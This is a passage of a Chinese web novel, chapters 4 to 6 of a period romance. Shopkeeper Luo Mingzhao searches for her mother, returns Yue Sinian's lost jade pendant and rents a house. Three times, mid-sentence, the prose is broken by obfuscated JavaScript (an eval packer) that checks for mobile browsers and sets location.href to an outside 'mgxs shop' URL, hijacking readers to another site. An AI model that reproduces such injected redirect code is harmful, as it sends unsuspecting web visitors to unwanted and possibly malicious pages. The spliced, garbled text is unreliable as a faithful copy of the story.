“追……追他?”对于她这种突如其来的词汇,洛明昭时而会觉得困惑。 “噢,这就是让他也钟情于你、对你死心塌地、非你不可的意思。”云尔蓁颇有耐心解释道。 “这样啊。”洛明昭似懂非懂点点头,“那我要好好追他。” “真好。”云尔蓁把最后一口香饮子饮尽,“对了,小昭儿你那个城郊的房子,牙婆今儿把契书给我了,明天你要是有空可以去看看房。” “成。”洛明昭也把最后一口香饮子喝掉,长舒一口气,“希望一切都能顺顺利利。” “放心吧。” 云尔蓁拍了拍她的肩膀。 4. 恶言 日暮渐沉,天地之间一片暗色,点春阁后院还燃着一盏灯。 洛明昭掀开马车垂帘一跃而下,向云尔蓁告别:“我走了,蓁蓁一路小心。” “行了,快回去吧。等改日得空了,我再来寻你。”云尔蓁向她挥了挥手。 洛明昭转身向点春阁后院走去,那盏孤灯在漆黑夜色中格外突兀。待走近了,竟然听到些许热闹的细碎闲谈声。洛明昭推门而入,只见缠绵病榻的孟念娘穿着一件暖和的冬衣,手中还握着几支红色的布条,正将其一条条束在冬夜之中毫无生气的枯枝上。 “明昭,你回来了。”见她身影,孟念娘转过身来,面上带了些笑意。 “念娘,你这是在做什么呢?”洛明昭觉得有意思,免不得上前几步凑到孟念娘身前看她动作,“这花样看着真是漂亮。” 房中的孟陵倏尔推开房门钻了出来,声音里带着雀跃:“洛姐姐,你回来了,我跟阿娘得了红布,便想着用其装点院中,就等你回来了。” 一旁的孟念娘也放慢声线补充道:“是啊,快到年关了,我想店里的事情一定很忙。你说我尚未病愈,今日你叫来的郎中也给我瞧过了,说我没太大的毛病,修养几日就能痊愈。可我又是个坐不住的性子,这不,好歹让院子变得有些节味了。” “说起这个,念娘,明日你可什么安排?”洛明昭想起那个已经付过租金的房子,眉梢眼角闪过些许欣慰,“我有件事想让你随我一同跑上一跑。” “明昭,可是出了什么事?”孟念娘的语气带了些忧虑。 “这倒不是,就是我找到了一间房子,是个坐北朝南的大院子。”洛明昭喜气洋洋开口,“我知道,这里的房子太小了。匆匆收拾出来的杂物间也只有那一小方窄榻,你和小陵两个人,怎么睡恐怕都有些强人所难。搬到新房子里让你们娘俩也能够轻松些。” “还有就是小孟陵不是之前总说自己想读书吗?”洛明昭将视线挪向半人高的小姑娘,“我去跑了趟北街,没想到那里真有所招收女学生的学堂,择日行过拜师礼,小孟陵就有书读了。” 孟念娘的声音卡在喉咙里公里,一时之间竟连一句感谢的话都说不出来。只得喃喃道:“自孟陵爹爹去世后,再没人这么重视我们母女二人的事情,要投奔的亲眷也早就没了踪迹。明昭,自今日起,你若有什么地方用得上我,我一定竭尽全力。” “念娘,我救你是因为我恰好能帮得上你,况且等年后你来店里做活,要你帮忙的地方可多了去了。”洛明昭上前半步从孟念娘手中接过红布条,笑意很浅,“说实话,其实我跟孟陵差不多的年纪就和母亲分开了,这么多年,我一直在找她。所以当我看到你们母女二人时就下意识想起了她。我想若是我多行善事,上天或许就能早一些让我与阿娘重逢。” 许是临睡前提及了母亲,入夜之后,洛明昭罕见地梦见了母亲。 母亲簪着一朵惹人注目的牡丹花,素色衣衫堪堪随风摇曳。在洛明昭的记忆里,她似乎总是直来直去,做什么都干脆利落。哪怕只是一家小小的馄饨摊,她也总能将其经营地风生水起。 清晨第一抹霞光落入寂静的院落,洛明昭睁眼回神时仍有几分怅然若失。 点春阁大早就开了门,那批最新的鎏金簪已经存入库房,果不其然,临近年关这种鎏金样子卖得极好。晌午时,用过午饭的秦觅欢天喜地冲入店门,眉飞色舞开口:“掌柜的,知县回来了!你不是这两天说要去拜访黄知县,前几日的拜帖递得不巧,知县去了钱塘县断案,可今日一大早,知县就回来了。帖子已近递过去了,掌柜的下午随时可以去知县府。” “这事办得真不错,秦觅。”洛明昭喜上眉梢。 “掌柜的,你打算什么时候去啊?”秦觅询问道。 “等等,我去后院叫念娘来帮我看会店,现在就去。”洛明昭从柜台处起身,又转过身看向秦觅道,“下午的事情,都听念娘的。” “晓得了晓得了,掌柜的你就放心去吧。”秦觅开口道,“早知道掌柜的要去,秦锦已经雇好马车了,听说知县病了不在府衙,掌柜的最好还是直接去知县府来的稳妥些。” “多谢你秦觅,这事办得这么稳妥,年末你们两个多休几日。” 孟念娘身体已经痊愈得差不多了,听洛明昭请她,也不推辞立刻就到店。 直到坐上马车,洛明昭仍有些惴惴不安。明知道此程并不是直接去见母亲,只是去探听一下她的近况,洛明昭一颗心还是跳到了嗓子眼。 马车稳稳前行,秦锦驾着马车扬声开口:“掌柜的,在车厢里有些甜糕和话本子,是秦觅备的。这路程怕是还得些时候,您要是无事,可以吃着甜食看看话本子解解闷。” 闻言,洛明昭躬下身子探了探座位,果然摸到了一方浅浅的食盒和话本小说。 没翻看几页,就到了巷口,过一方小巷就是知县黄忠的府邸。 “多谢你送我来。”洛明昭开口时目光带笑落在秦锦身上,她笑了笑,“上次的话是我说得不对,你两做事果真靠谱。” “是不是?掌柜的,我就说了!”秦锦也笑起来,然而笑意尚未晕开他就眨眨眼催促道,“掌柜的,快去吧,我就在这儿等着你。” “嗯,好。”洛明昭拎起裙摆,转身小跑起来。 小厮得了吩咐今日有位姓洛的女掌柜前来府中拜访,他并没有多加阻拦。 一进宅门,洛明昭跟着知县府的引路丫头走出几步。然而没走几步,就有一小厮面色紧张地寻那丫头,二人俯首帖耳说了几句,只见那丫头一瞬面色紧张,她为洛明昭狼狈地指了个方向,随后就像是有什么急事匆匆离开了。 洛明昭没什么预备就被丢在原地,有些措手不及。但她也只能按着丫头指的方向步伐紧凑地向前迈出大步。 知县府邸想必是花了大功夫,庭院内依山傍水,看起来格外幽静雅致。 洛明昭过了曲廊,廊道疏影稀稀疏疏落于地面,走过时别有一番意味。又沿着小径走向院落,只见不远处有人影散乱,见那边围了一圈人,似乎是府里的丫头,洛明昭的步伐也加快了些。若是有丫头,想必能带她去找黄知县,她也不必在这九曲回环的府宅之中白白打转,浪费时间。 岂料此念一出,洛明昭倏尔在曲廊尽头看到了一方雕工精致通体清透的玉佩。玉石坠子是梳理齐整的青穗,玉质温润清亮,想来是被人来回摩挲才形成的质地。可此刻,洁净的玉佩却落在布满枯枝杂叶的地面,看上去甚至有几分格格不入。 洛明昭看到那方玉佩时,神色一瞬凝重。她其实不算是懂玉之人,但这玉佩她见过很多次,它的主人她也一清二楚。 越斯年。 思及此处,洛明昭左右张望着,试图找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371501|199930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到那人的身影,可四周无人,无济于事。她只得先将其捡起来,认真用帕子把它擦得干干净净,这才收回袖中仔细保管。 她记得当初他说过,这是他父母留给他的东西,对他来说应该是很重要的。这样丢在这里……若他发现玉佩丢了,想必应该会很慌乱。 洛明昭拾了玉佩,就匆匆赶往前方别院,谁曾想还未到院侧,就见刚刚为她引路的姑娘面带凶色,直冲冲走向院畔围的那群人。洛明昭不欲惹事,将身影掩于竹影之中。 只听那丫头的话音带了怒意,却有意识地压低声音:“你们几个,可是嫌活计太少了,平白无故白白在这里听什么墙角,招惹是非!” 听了她的训斥,那群丫头们匆匆四散。洛明昭走出来的时候,四下再无人影。 她暗自叹了一口气,看着不远处的院落,想来那里或许有人能为她答疑解惑。可还没走出几步,就听到一道略显刻薄的声线冷不防涌入耳中,这声音听上去像是中年人,出口的话尽是苛责。 “你倒过上了好日子……当初死的怎么不是你?” 隔着一道院落,那些话语其实洛明昭听不太真切,可那中年人的语气实在太过恶毒。所以总会有那么一两句钻入耳中。家家有本难念的经,洛明昭不欲掺和,谁知下一句就听到了有些耳熟的声音。令她更为讶异的,是这份声音脱口而出的话。 “叔叔说得是,是斯年对不起叔叔,千刀万剐难赎己罪。” “死的人就应该是我……” 他的声音分明比那中年人更轻些,却明明白白地被洛明昭收入耳中。以至于让她的心头涌上剧烈的疼痛,耳畔似乎也传来一阵尖锐的刺鸣。 一字一句,都听得那样清楚明白。 是越斯年。 怪不得能在这里捡到他的玉佩。 洛明昭咬了咬牙,指尖掐入掌心走缓缓松开。说到底,她现在没有任何资格和身份去插手越斯年的事情,他甚至不记得她是谁。况且这样狼狈的时刻,越斯年真的会希望她出现吗? 她偷听到了他的家事,若还要以高高在上的姿态去“拯救”他,这算不算得上是一种逾矩呢?说到底,现在她对他来说,就是陌生人而已。 可他叔叔的话,怎么能说得那样过分? 洛明昭有些失神地向前走出几步。长长吐出一口气,将胸口的浊气一道排出。 再一抬眸,就看到不远处有丫鬟在清扫枯枝烂叶,她连忙跑过去向她询问了知县的住处。 “民女见过县尊。” 洛明昭微微施礼。 黄知县看上去和洛明昭想象之中不太一样,体态微胖却慈眉善目,开口时的语气也是温和的,见丫鬟引了她来,便唤人为她看座上茶。 “洛掌柜,不知洛掌柜专程差人递了拜帖来,是为何故?” “不瞒县尊,民女与母亲失散多年,前不久听说县尊府上来了位姓洛的厨娘,那位恐怕是民女的母亲。”洛明昭轻吸一口气稳住声线,“敢问县尊,那位洛厨娘,全名可是洛代荷?” 听她陈情之际黄知县面露怜色,听她报出名姓之时又不住点头道:“是,洛厨娘的确是这个名字。” 听了这句话,洛明昭抿了抿唇,试图压抑情绪。即便如此再开口时的话音依旧有几分轻颤,“敢问县尊……” “我阿娘她,看上去还好吗?” 5. 甜糕 洛明昭记挂着母亲的事情,神色带了几分热切,却并未失态。黄知县见她言语形容,想这姑娘许是寻母日久,他心下生出几分怜悯,在脑海里搜刮出那几日的事情。 “实不相瞒,洛掌柜,家中夫人自幼从汴京长大,那日请洛厨娘来府中是为了贺夫人生辰。本官早就听闻这洛厨娘烧得一手汴京好菜,得了巧了,谭通判家中设宴,我见菜色鲜香味俱全,便向谭通判询问了那厨娘是何许人也,这才将她请来了府中。”黄知县捋了捋袖口,话音稍顿,回想起那日的场景,“令慈身体看上去倒是康健,只不过……” 听他话音骤然转了个腔调,洛明昭的心瞬间提了起来,话音急促开口道:“只不过什么?” “也不算什么大事,洛掌柜莫要忧心。许是长途跋涉的缘故,令慈离开前面色看上去不大好。家中夫人也问过她,她说身子骨无恙,也并无病痛缠身。”黄知县的话带了几分宽慰的意味。 “既如此,县尊可有什么联系到她的手段?”洛明昭几乎是带着殷切开口。 “那日过后,令慈就离开了,家中夫人喜爱洛娘子的饭菜口味,打趣道让洛厨娘在家中多留几日,可她却婉拒了,说是有缘自会再见。那日洛娘子像是有何急事,走得很是匆忙,未曾留下什么联系的手段。” 黄知县几乎是将那日见到洛代荷的场景悉数言尽,那厢只见洛明昭面色稍稍缓过来些,她将一旁的热茶饮了,这才起身秉礼道:“多谢县尊解惑,不瞒县尊,寻母至今数个年岁,我日夜忧虑不过是母亲病否,饭否,身体康健否,至于见面倒更仰赖上天垂帘。如今得知母亲身体康健,凭借自身手艺过得不错,我这一颗心总算是能够放进肚里。” “洛掌柜不必客气。”黄知县起身送她,笑意温和,“本官前几日也有公务缠身,今日才听闻洛掌柜递了拜帖,倒希望没有怠慢了你。” “如何说怠慢,县尊心地良善愿为民女解惑,民女甚是感激。左右也无旁事,便不叨扰县尊了。” “那便期望洛掌柜早日与母亲团聚。” “借县尊吉言,那民女便告辞了。” “洛掌柜慢走。” 听了黄知县的话,洛明昭眷恋母亲的心放下些,又为线索断了而深觉懊恼。好在母亲如今也算是小有名气,想来自己的衣食住行应该还是供应得起,不用遭受冻馁之苦。 此前从未听到过母亲的消息,又没有太多银钱支撑她前去寻母。如今点春阁愈发出名,等到她得了空又攒够了钱,她定要仔仔细细去寻一寻母亲踪迹。就像蓁蓁说过那样,只要活着,早晚能够找到的。 洛明昭离开府宅,行至门口,方觉袖中还有玉佩尚未托县尊归还于越斯年。但转念一想,越斯年此行不知是见什么亲眷,那中年男子说话实在是难听,今日这种境况倒是不叨扰他的好,既今日不能还给他,倒不如改日她亲自为他送去。 洛明昭忽而想起那年年幼时,越斯年在篝火旁满是眷恋地摩挲着这玉佩。待她走近,却又神色紧张地收了回去。洛明昭当年没有细问,可如今想来,许是他并不希望别人知道这枚玉佩的事情。 若是如此,她需得想个法子将这玉佩不动声色地还回去。最好是又能让他知道是自己还给他的,又不让他觉得困扰。洛明昭沉思着,回程路上也只有寥寥几句。 回到点春阁已临近傍晚,秦锦将租来的马车还回去。 阁中孟念娘将今日一晌午的所有明细都记得清楚分明,示于洛明昭:“明昭,今日售出了三组四季景,除此之外,还有玉簪两支,头面一副。” 洛明昭接过孟念娘手中的薄纸,仔细看过,孟念娘将这半日的帐做得极好,字迹清秀,除了账目数字之外,她还在四季景那栏画了几朵墨色花样,看上去颇为生动。 见状,洛明昭面带笑意:“多谢念娘,来往明细这般清楚明晰,我这就将其归账。念娘,你真是太适合做这个了。” 孟念娘带了几分腼腆笑了起来:“我也是第一次做这些,此前鲜少做账,不知道那账目究竟该怎么写才好。” “这事怪我,跑得太过匆忙,连账本在哪里都没有告诉你。”洛明昭笑了起来,在柜前就将晌午账单归册,“念娘,账单在柜房下第三个抽屉夹层里,柜中账本摆满了,等年后扩建了,换个新柜子用。” 将账本收回后,点春阁落锁闭店,洛明昭孟念娘二人带着孟陵出门吃饭。 孟念娘挨着洛明昭开口道:“实不相瞒,明昭。此前我都是待在后宅之中,这还是我第一次卖东西,感觉真新鲜。本来还有些发怯,可来客都是些年轻的姑娘家,言辞谈吐温和有礼,不过一个晌午,我竟也觉出几分趣味。” “念娘,听你这样说,我真是高兴。”洛明昭抬手挽上孟念娘的小臂,笑意盈盈。 “洛姐姐,阿娘。”孟陵牵着孟念娘的袖子,钻出半个脑袋挑眉笑道,“我们今天要吃什么?” “京中新出的荔枝味香饮子,又鲜又甜,很是好喝。还有松子糖粥、肉油饼、馄饨……还有葱油小面。” “完了,洛姐姐,你说得我都要流口水了。” “你洛姐姐今天请客,小孟陵,你想吃什么都可以!” 三人笑闹之间就行至夜市,从街头吃到街尾,最后还是孟念娘左手拉一个右手拽一个嘴里念念有词:“再买下去就要浪费了,我们三个人哪吃得了这许多。” 这才将这两个脱了缰的姑娘带回点春阁后院。 夜色浓重,三人缓步而行,孟陵手中握着一串糖葫芦。洛明昭提着桂花糕,拎着松子糖想要分给孟念娘一包。 “明昭,你两去夜市购置吃食的模样,倒让我想起了今日来店里想买四季景的姑娘们。”孟念娘接过那包递来的松子糖,又垂下眼睫笑了起来。 “这香饮子我还是因为去了蓁蓁家的酒楼才晓得,这四季景怕也是城中女娘见有人戴过,口耳相传才晓得的。”洛明昭开口时,脸颊也还是红扑扑的,许是方才同孟陵闹得欢腾的缘故。 洛明昭轻蹙眉头思忖片刻,“若是能有什么法子能让更多的女娘们知晓点春阁的四季景就好了,这般漂亮的花样定是讨人喜欢的……总不能直接去街上吆喝吧?” 孟陵抬眸看向洛明昭,俏声开口道:“像卖饼子的李嬢嬢一样吗?” “或许可以将那些花样画纸上。”孟念娘若有所思开口道。 听了这话,洛明昭突然想到了今天那账单上孟念娘画的小样,眉目瞬间亮了起来,带着笑意开口道:“对啊,可以将四季景的花样画到纸上派发给来往的女娘。点春阁下一季还有新的簪钗样子,等到下一季,便将四季景换成其他的花样就好。只是这样的话,阁中的纸张必定不够用,如此说来,点春阁还要有固定的纸张货源才好。” “纸张……”洛明昭几乎是不由自主想到了北街的越斯年,“要纸张就就得找书坊……书坊……斯年哥哥!” 若是这个法子真的好用,那她不就可以有正大光明的理由去找越斯年了么? 太好了! 洛明昭难掩笑意,小跳着蹭了蹭孟念娘的小臂:“念娘啊,你可真是太聪明了。正好解我燃眉之急,谢谢你啊!” 话毕,雀跃地奔出几步将怀中的零嘴置于桌面。小跑着钻进房中取了火折子将园中的灯笼都燃了起来。 “这下亮起来了,真好。”洛明昭拍了拍手,双手叉腰看着身后缓步而归的孟念娘母女二人,“欢迎回家!” 见她这般喜形于色,孟念娘笑了起来,一旁的孟陵悄默默地靠近洛明昭,声音压得低低的:“洛姐姐……斯年哥哥是谁啊?” 尽管她将声音已经压得很低了,一旁的孟念娘依旧听得明朗。她微不可查地皱了皱眉,温声斥道:“孟陵,你怎么什么都想知道,没看到你洛姐姐不想说吗?” “洛姐姐,”孟陵低低唤她一声,悄悄抬眸,只见洛明昭的脸不知何时又变得红彤彤。小小的姑娘还不懂什么心上人,只当是自己的话让洛明昭不舒服了,她闷声道歉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371502|199930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“让你不舒服了,不好意思。” “没有,没什么不能说的。”洛明昭默了默,看向孟陵,眉眼都弯了起来,“那是你洛姐姐很重要的人,只不过我还不能贸然打扰他让他不舒服,如果店里有备纸需要,我就能去打扰他了。” “哦,明白了。”孟陵似懂非懂点了点头。 孟念娘将这一切收入眼底,坦率的女儿心意她一睹便知。她也不戳穿,只拍着孟陵眉间带笑:“知道了,这下能回房了?” “嗯。” “那明昭,我们先回房了。” 与孟念娘二人分开,洛明昭将买回来的零嘴安置好。坐在桌边望着那枚玉佩,穗子染上了些脏污,看着格外碍眼。那人到底是谁,为什么要对越斯年说这样恶毒的话。若当真是仇人,越斯年又何必上门受辱? 她听到那些话都觉钻心刺骨,想必他也很不好受。 跃动的心告诉她越斯年不喜咋咋呼呼,最好还是同他循序渐进。可对他的好奇心又是那样重,恨不得明天就将一切全都问出口。 哎,近也不是,远也不是。 他怎么就没认出她呢? 她这几年变化应该也没有那么大吧? 带着对越斯年的万千愁绪,洛明昭睡了个好觉。 待至晨光熹微,点春阁歇业一日,洛明昭亲自去往结庐坊。 越斯年今日穿了件湛蓝衣衫,发丝一如既往束得齐整,一丝不苟。 洛明昭在店外瞥了几眼,这才理了理衣衫,迈步走进店中。 “斯年哥哥,早上好。” 越斯年自书册之中抬起眼睫时,闯入眼帘的就是一袭淡粉衣衫,少女言笑晏晏,发间的流苏随着她的步子漾出好看的弧度。 是那天那个姑娘。 名字叫洛明昭。 越斯年带着困惑望她,开口的声音一如既往清亮,但出口的话却带了几分疏离:“洛姑娘,你我合该是从未见过的,这样称呼当真不合适。” “斯年哥哥此后多见见就好了。”洛明昭也不接他的话,自顾自将手中食盒放在柜房,又从袖中取出一方薄纸置于一旁,“我这次来是和斯年哥哥谈生意的,斯年哥哥不用急着拒绝我,可以看看我带来的契书。” 话毕,洛明昭凑近几步,那双含情眼一瞬不瞬地落在越斯年脸上,随后似乎是…… 很轻地嗅了嗅? 越斯年将手中的书合了起来,长睫轻颤,不知道她这举动是做什么。 “斯年哥哥,今天的活很多吗?”洛明昭笑起来,恢复了距离。 “不多。”越斯年有问必答,但依旧不明所以。 “巧了不是,我今天也没什么活,来的时候路过了糖糕铺。那家糖糕店的许娘子总是把糖糕炸得金黄酥脆,吃完以后口齿生香,美味至极,我就给斯年哥哥带了些。我猜斯年哥哥大抵没吃早饭,趁热吃。”洛明昭将那食盒向前推了推,又将那契书很轻地点了点,“至于生意的事情,斯年哥哥先忙,晌午我再来。” 话毕,也不等他反应,洛明昭兀自挥了挥手便没了踪影。 越斯年看着那食盒,怔愣片刻后垂眼,自嘲般轻轻笑了,连句推辞的话都没说出来就又让这姑娘逃走了。 他将那食盒一一打开,食盒两层,第一层是油纸包好的油糕,第二层是一方长木匣。 越斯年不知那是何物,他想许是那姑娘漏掉了什么东西。带着几分好奇将那木匣打开,却只见一枚透亮的玉佩。 见那物,越斯年瞳孔一缩,心间有无名情愫翻涌而上。那玉佩他那日丢在了黄知县府中,最后却怎么也没找到。那是父母临死之际留给他的遗物,带着他全部的精神寄托。 丢了以后,他时而恍神,却又无可奈何。许是上天注定,生来就该亲缘淡薄,孤家寡人,就连小小一方挂饰都留不住。 可如今它却安安静静躺在那木匣之中。 穗子整洁如新,玉质通透明亮。 正是他丢的那枚。 6. 退让 越斯年看着手中的玉佩,一时愁肠百结,这女子究竟是怎么捡到他的玉佩的? 她又怎么知道这是他的? 难不成,她当真与他有过一面之缘?还是说她竟是那书中所言无事不晓的精怪? 思及此处,越斯年摇了摇头,将自己这些略显荒谬的胡思乱想从脑海中驱逐出去。 再垂下眼睫,带了些薄茧的指尖从那条穗子缓缓掠过,一寸寸地,心也随着这样的动作倏尔软了几分。 虽不知这奇怪的姑娘究竟是何来历,又有什么目的,可她是切切实实帮他找回了这一点宽慰。甚至还仔细熨帖地考虑着他,拐着弯地把这个物件还给他。若她再来,定不能再如前两次那样木讷不知所云,至少该对人家姑娘这份细腻道句谢才是。 目光不由自主地落在了她方才留下的契书上,眨眼之间,又想到她刚刚头也不回地跑掉时那副匆忙姿态,越斯年不禁莞尔。跑得那样急切,倒像是他变成了什么豺狼虎豹,下一刻就要伤了她似的。 越斯年不知道究竟要怎么看待这姑娘,想来她跑得那样快,兴许也有几分不想同他争执的意思在。这姑娘近乎执拗地想要喊他斯年哥哥,虽二人并没有什么交集,但他其实也不讨厌她,若是将她看做邻家小妹。她这种叫法说到底也没什么问题。 她若执意想叫,那…… 让她叫叫或许也无伤大雅。 也真是奇了,说这姑娘性子腼腆羞怯,二人初见之际,她就字句铿锵理直气壮喊他斯年哥哥,任他说破了天,拦也拦不住。 若说她性子直率无拘束,可她又小心翼翼将他的物件放在食盒里,笨拙地问他早,放下那盒甜糕也不再多说几句,转头就跑了。 归根结底,洛明昭这个姑娘其实也挺有趣的。 越斯年自己垂眸想了半天,一时之间恍了神。 伙计阿江上值时就见自家那素来喜怒不形于色的寡淡坊主在柜房处愣愣地望着一方食盒,似乎还抿唇笑了? 真是怪事一桩。 阿江上值,看着柜房处的甜糕,挑了个话头开口道:“东家,您今天倒是出了奇了,去那么远的御街买了甜糕吗?这家真是挺好吃的。” 一句很轻的话,将越斯年从自己的沉思中拉了出来,他点了点头,也不说其他只轻轻应了一声:“嗯。” 伙计阿江早就习惯了越斯年这幅冷淡的模样,也不过多思忖,拿了笤帚便去店前清扫:“那东家,我先把这儿扫扫。” “好,今天继续设个摊位售游记、话本。”越斯年点点头回他的话。岁末临近年关,这话本子卖得比往日里要快上许多。 “得嘞东家,那我就去了。”阿江挽起袖子就要做活,顿了顿又笑着看向越斯年,指了指那柜房上的食盒,“东家,您吃完再来!” 阿江深知这位寡言的东家,虽看上去拒人千里之外,可心肠却一顶一软。去年末,阿江来这书坊做伙计,疏离的东家一天到头也说不了几句话,让阿江总是对他又敬又怕,生怕这是个难伺候的主。可相处日久,阿江却也渐渐改了对他的看法。自己本就是来给他干活的,可他却躬亲力行,生怕累着这个伙计,让阿江有些受宠若惊。自那以后,阿江才意识到这东家只是不善言辞罢了。 越斯年起身的动作在听了这句之后止在原地,他抿了抿唇,温声道:“那我一会儿再搬书。” 越斯年垂眸看向那方食盒,伸出修长白净的指尖,犹豫一瞬后,鬼使神差地将那甜糕拿起尝了一口。 糖糕还是温热的,酥脆的表皮咬开便是沁人心脾的甜,沙糖在甜糕中炸制,化成浓稠糖浆,入口即化。 甜得让他有些意外。 越斯年细细想来,自己好像从来没有吃过这么甜的东西。甜这种味道对他来说本就有些陌生,过往总是以清淡为食,虽也常常路过糖糕摊,但总因为这样或那样的缘由并没尝试过这种味道。 加之糖糕中裹着的是满满当当的沙糖,越斯年免不得被这种味道惊艳。不知不觉间,他也慢条斯理地将那食盒之中的糖糕吃得干干净净。 看着空荡的食盒,越斯年想,他很喜欢这种味道。 晨起的日光落在湖面,风拂湖面漾起层层涟漪,波纹闪着光似的,水光十色,美不胜收。 行至桥头,洛明昭轻轻摇了摇腰间的穗子,步伐缓一步疾一步,心中暗自懊恼:怎么就跑得那样狼狈,好不容易跟他有见面的机会,想着好好跟他说几句话,念着他又怕他因为纠正称呼而生气,急头白脸地就跑掉了。 也太丢人了。 洛明昭顿住步子,用手捏了捏耳垂,咬咬牙轻声喃喃道:“洛明昭啊洛明昭,下次可不许这样了。” 话毕,她的视线不由自主投向一侧的碧波湖面。炽热的日光洒在身上,她抬手遮了遮眼,深吸了一口气,临安城晨间的清新畅快便盈了满怀。 罢了,没什么大不了的。 洛明昭转过身,看着自己的手掌,轻声笑了起来。如今她不仅见到了越斯年,还能亲自给他送去一份自己爱吃的糖糕,这已经是天大的好事了。 至于她怯生生跑掉……想必他也不会同她计较吧。若他计较了,那她下次再见他的时候将这件事轻轻掀过不就好了。就说自己有要事在身,不得不先离开。 对了,说起要事…… 她今天得了空,正好可以去看看城郊的房子。 上次见云尔蓁时,她将租房的文书给了她。牙婆的住址也一并说了,离北街算不上远,她此时过去想来也算不得突兀。 如此想来,洛明昭就去往牙婆住处,摸索着找到了她的院落。专事房屋转租的牙婆姓崔,洛明昭眸中含笑称她一声崔娘子。这崔娘子也是个坦率热忱的,笑着就拥着洛明昭的小臂脆生生唤她洛掌柜。 二人一齐去了城郊的宅子,确如云尔蓁所言,这宅子又大又宽敞,三进院还带了一处小园,单说曲廊就有两处。洛明昭对这住处甚为满意,可又想到这宅子租金一月仅五贯,整租一年五十五贯即可,不禁生出几分困惑。这样的宅子若按寻常地界,一月九贯十贯也是要得,虽说是在城郊,可也不该这样便宜…… 牙婆带着洛明昭看房内陈设,将几间主屋一间间打开,口中一刻未停地为她介绍着。 “来,洛掌柜您看这间,坐北朝南,冬暖夏凉,离小园也远,不受潮。最适合您这样文秀的姑娘家住了。平时写写字,作作画,搁在这房中放它个个把月也没问题的。” “崔娘子,”洛明昭抬手止住了牙婆崔氏的话,她弯了弯唇,“多谢您为我介绍得这样详细,您也是个耐心的。只是我想知道,这宅子的租金一月五贯,若一年整租也才五十五贯。这其中是何缘由啊?” “哎,掌柜问到这里,”崔氏先是左右张望,这才掩了掩唇压低声音道,“不瞒您说,这宅子之前扯过官司,来回纠缠了不少日子,这才得空出租。” “崔娘子这话是什么意思?”洛明昭对她的话生出几分兴趣,她垂下眼睫看向崔氏,小心翼翼揣测道,“这里……有过冤案吗?” “洛掌柜这话!”崔氏听了洛明昭的话,一时间笑出了声,“倒不是那种官司,是人情官司。” “人情官司?”洛明昭眨了眨眼,好奇心更甚。 “这家原来的屋主啊,本是欲用这宅子做新房娶新妇的。”崔氏默了默,像是强忍笑意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371503|199930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开口道,“屋主有个青梅竹马,他自顾自认了个两情相悦,可人姑娘家只当他是儿时玩伴。待他去求娶之时,那青梅竹马早就招了个入赘的郎君,同住钱塘母家,哪还要跟他住在这临安城郊呢?这屋主思来想去,这才想要将宅子急急卖了,欲离开临安,再不过问情事。” 如此阴差阳错的一桩事,洛明昭听完,眉目这才舒展开来:“原是如此。” “姑娘可要租下?” “契书都签了,当然要租下的。”洛明昭走出两步,视线在院落中扫过一圈,笑道,“我还挺喜欢这处的。崔娘子,我晌午就差人将银钱送于府上。” “那敢情好。”崔氏喜笑颜开,从腰际摸出一串钥匙递给她,“那姑娘就先把房子钥匙拿着吧。” “这如何使得?”一手交钱一手交钥匙才对,这崔娘子也太过热络。 “心善守诺,洛娘子的美名,老婆子我呀,也是听过的。”崔氏笑着指了指自己额头的翠玉簪,笑道,“这还是在点春阁拿的呢。” “原是阁中客,下次崔娘子再来,我给您折扣。”洛明昭也不推辞,接下钥匙笑了。 “那姑娘要再看看还是随我一同离开呢?”崔氏见交易既成,便想着离开。 “我再看看吧。”洛明昭向她点头致意。 “那成,那我就先走了,姑娘离开前记得锁好门。” “我晓得了,您慢走。” 洛明昭沿着长廊走向后院,走沿着曲廊走了几遍,一路景致清雅,果真是个好住处。 确认好宅子,今日晌午同念娘二人稍作打扫,明日或许就能搬进来了。这样想着,洛明昭小跑两步出了宅院。 洛明昭锁好大门离开,没走几步,幽静的宅子中忽而传出一声闷哼般的响动,随即很快归于平静。 从宅中离开,洛明昭琢磨着还有些时间,这会儿恰好到了午饭点,思及此处,她不紧不慢走向结庐坊。 洛明昭迈进坊中,动静轻轻的,像是怕惊动了面前的人似的。 尽管她将步子放得很轻,可她走动时发间流苏依旧会发出很轻的窸窣声。 越斯年在她进来时,就已经用余光看到了那抹浅色身影。许是因她初尝甜糕的缘故,在见到她去而复归时,他竟然有些高兴。心如此想,手上还不动声色地翻着账单,并未抬起眼睫。 “斯年哥哥,早上我带来的甜糕你吃了吗?” 